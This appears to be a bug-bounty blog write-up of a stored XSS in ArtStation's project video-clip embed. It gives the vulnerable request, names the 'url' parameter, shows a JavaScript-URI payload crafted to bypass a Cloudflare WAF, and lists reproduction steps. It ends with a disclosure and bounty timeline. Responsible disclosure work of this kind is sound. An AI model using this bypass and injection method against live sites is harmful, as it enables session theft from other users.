Company Information :
Epic Games, Inc. is an American video game and software developer and publisher based in Cary, North Carolina. The company was founded by Tim Sweeney as Potomac Computer Systems in 1991, originally located in his parents' house in Potomac, Maryland.
Bug Category :
Stored Cross-site-scripting (XSS) :
Cross-site scripting (XSS) is an attack in which an attacker injects malicious executable scripts into the code of a trusted application or website. Attackers often initiate an XSS attack by sending a malicious link to a user and enticing the user to click it.
Target Information :
https://www.artstation.com
Technical Details of the Bug :
In the manage portfolio section you can add projects. In the project you can add video clips . Once you upload the Video Clip , it will be added into API URL.After that you will get option to add these videos and These video clips are finally embedded into iframe on the main project page on marketplace.
After uploading a a video clip there is option of adding a video clip the project.(The request is mentioned below). in the Request URL parameter is directly embedded into the iframe section on the project. The URL Parameter is vulnerable and Accepting any URL including javascript and data protocols.
This leads to include embed 3rd party scripts/html pages instead of video clip which leads to execute javascript into the art station project page on marketplace. Since Javascript and data protocols are working , it leads to direct Stored XSS on Art Station.
Vulnerable HTTP Request :
POST /project_assets/video_clips.json HTTP/1.1
2Host: www.artstation.com
3Cookie: cookies
4User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:94.0) Gecko/20100101 Firefox/94.0
5Accept: application/json, text/plain, */*
6Accept-Language: en-US,en;q=0.5
7Accept-Encoding: gzip, deflate
8X-Csrf-Token:
9Public-Csrf-Token:
10Content-Type: application/json
11Content-Length: 289
12Origin: https://www.artstation.com
13Referer: https://www.artstation.com/community/projects/1411nG/edit
14Sec-Fetch-Dest: empty
15Sec-Fetch-Mode: cors
16Sec-Fetch-Site: same-origin
17Te: trailers
18Connection: close
19
20{"video_clip":{"uuid":"fa2ce322-31a3-4728-b59e-300136879fce","url":"https://www.artstation.com/api/v2/animation/video_clips/fa2ce322-31a3-4728-b59e-300136879fce/embed.html","width":640,"height":640,"thumbnail_url":"https://cdn-animation.artstation.com/p/thumbnails/000/523/197/thumb.jpg"}}
Vulnerable parameter : url
WAF Bypass :
Since there is a cloud flare WAF protection. Normal javascript and data payloads wouldn't work. After spending lot of time i found bypass to the cloud flare and successfully executed the Stored XSS.
Payload used :
javascript:top[\"al\"+\"ert\"](document.domain)
Steps to reproduce :
1.Login to art station and go to manage portfolio .
2.Now create a new project.
3.Now edit the page and add a video clip.
4.Upload a video and it will ask you to add your uploaded video.
5.Add video and intercept the request.
6.You will notice that the request would look something like above mentioned request.
7.Now in the url value add the above mentioned payload used.
8.Now save the project and publish it.
9.Click on view on community and XSS will be triggered.
Impact :
Session steal of any user through Stored XSS and WAF bypass in marketplace project on https://www.artstation.com
Timeline :
Nov 08th 2021: Report send to Epic Games Security Team through Hackerone.
Nov 10th 2021: Report Accepted and Triaged.
Nov 17th 2021: Complete issue was resolved an
d confirmed.
Nov 21th 2021: 6500$ Bounty Rewarded
Comments
Post a Comment